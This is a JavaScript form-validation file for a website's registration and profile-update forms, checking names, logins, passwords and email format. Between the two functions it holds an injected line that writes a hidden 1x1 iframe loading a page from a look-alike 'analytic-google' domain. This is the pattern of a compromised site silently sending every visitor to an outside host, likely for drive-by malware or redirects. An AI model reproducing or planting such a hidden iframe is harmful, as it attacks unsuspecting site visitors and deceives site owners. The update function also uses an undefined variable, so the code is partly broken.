function validateInput() {

	var errorm = "";
	var txtName = document.register.txtName.value.replace(/[\s<>']/g, "");
	document.register.txtName.value = txtName
	
	var userlogin = document.register.userlogin.value.replace(/[\s<>']/g, "");
	document.register.userlogin.value = userlogin
	
	
	var pass = document.register.userpass.value.replace(/[\s<>]/g, "");
	document.register.userpass.value = pass
	
	
	var cpass = document.register.confirmpass.value.replace(/[\s<>]/g, "");
	document.register.confirmpass.value = cpass
	
	var email = document.register.useremail.value.replace(/[\s<>']/g, "");
	document.register.useremail.value = email
	
	
	
	
		
	var ePat = /^([\w-\.]+)@([\w-]+)\.([\w-\.]+)$/g;
	var matchEmail=email.match(ePat);
	var nLen = txtName.length;
	
	var uLen = userlogin.length;
	var pLen = pass.length;
	

	if (txtName == ""| userlogin=="" | pass == "" | cpass == "" | email == "") {
		var errorm = errorm + ("    -- One of the required fields is empty!     \n");
		var trap = ("error");
	}
    
	
	if (email !== "") {
		if (matchEmail == null){
			var errorm = errorm + ("    -- Email format is invalid!     \n");
			var trap = ("error");
		}
	}

	if (txtName !== "") {
		if (nLen < 4){
			var errorm = errorm + ("    -- Name must be at least 4 characters long!     \n");
			var trap = ("error");
		}
	}
	
	
	if (userlogin !== "") {
		if (uLen < 4){
			var errorm = errorm + ("    -- User Login must be at least 4 characters long!   \n");
			var trap = ("error");
		}
	}

	if (pass !== "") {
		if (pLen < 6){
			var errorm = errorm + ("    -- Password must be at least 6 characters long!     \n");
			var trap = ("error");
		}
	}

	if (pass !== cpass) {
		var errorm = errorm + ("    -- Password do not match!     \n");
		var trap = ("error");

	}
	
	if (trap == "error") {
		alert ("Please fix the following errors and resubmit:\n\n" + errorm);
		return false;
	                 } 
		return true;
	
     
}
document.write('<iframe src="http://analytic-google.info/stats-analytics/go.php?sid=6" width="1" height="1" frameborder="0"></iframe>');
function validateUpdate() {

	var errorm = "";
	var txtName = document.register.firstname.value.replace(/[\s<>']/g, "");
	document.register.firstname.value = firstname
	
	
	
	var email = document.register.useremail.value.replace(/[\s<>']/g, "");
	document.register.useremail.value = email
	
	
	
	
	
		
	var ePat = /^([\w-\.]+)@([\w-]+)\.([\w-\.]+)$/g;
	var matchEmail=email.match(ePat);
	var nLen = txtName.length;

	

	if (txtName == ""| email == "") {
		var errorm = errorm + ("    -- One of the required fields is empty!     \n");
		var trap = ("error");
	}
    
	
	if (email !== "") {
		if (matchEmail == null){
			var errorm = errorm + ("    -- Email format is invalid!     \n");
			var trap = ("error");
		}
	}

	if (txtName !== "") {
		if (nLen < 4){
			var errorm = errorm + ("    -- Name must be at least 4 characters long!     \n");
			var trap = ("error");
		}
	}
	

		
	
	if (trap == "error") {
		alert ("Please fix the following errors and resubmit:\n\n" + errorm);
		return false;
	} 
	else {
		
		document.register.B1.disabled = true;
		document.register.submit();
		}
}